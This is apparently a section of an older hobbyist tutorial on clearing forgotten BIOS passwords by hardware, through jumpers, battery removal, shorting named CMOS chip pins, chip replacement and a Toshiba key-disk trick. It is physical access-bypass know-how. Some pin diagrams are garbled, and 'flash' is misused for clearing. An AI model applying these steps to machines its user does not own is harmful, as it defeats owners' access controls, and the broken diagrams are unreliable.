If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers

The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard. To find the correct jumper you should read the motherboard's manual.

Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.

If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.

If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.

Removing the battery

If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.

Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.

Short-circuiting the chip

Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.

Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)

Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
Code:

gnd
74
I______________
5v 75 --I I
I I
I chips I
1 * I I
I p82c206 I
I I
I_____________I
I I
I gnd I 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
Code:

80 51
I_____________I
81-I I-50
I I
I OPTi I
I I
I p82c206 I
I I
100-I_____________I-31
II I I
1 II I I 30
3 26

Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.

CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.


__________
1 -I I- 24 5v
2 -I I- 23
3 -I I- 22
4 -I I- 21
RCL (RAM Clear)
5 -I I- 20
6 -I I- 1
7 -I I- 18
8 -I I- 17
9 -I I- 16
10 -I I- 15
11 -I I- 14
gnd 12 -
I________I- 13

NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.

Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818. Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.

5v 24 20 13 I________I_____________I I I I DALAS I I> I I DS5885S I I______________________I I I 1 12 gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
Code:


__________
1 -I I- 24 5v
2 -I I- 23
3 -I I- 22
4 -I I- 21

5 -I I- 20
6 -I I- 1
7 -I I- 18
8 -I I- 17
9 -I I- 16
10 -I I- 15
11 -I I- 14
gnd 12 -
I________I- 13


Replacing the chip

If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.

Important

Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.

Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:\WINDOWS, C:\WINDOWS\SYSTEM, or C:\WINDOWS\INF .

Key Disk for Toshiba laptops

Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" :) followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.

Key protected cases

A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.


By vishal sharma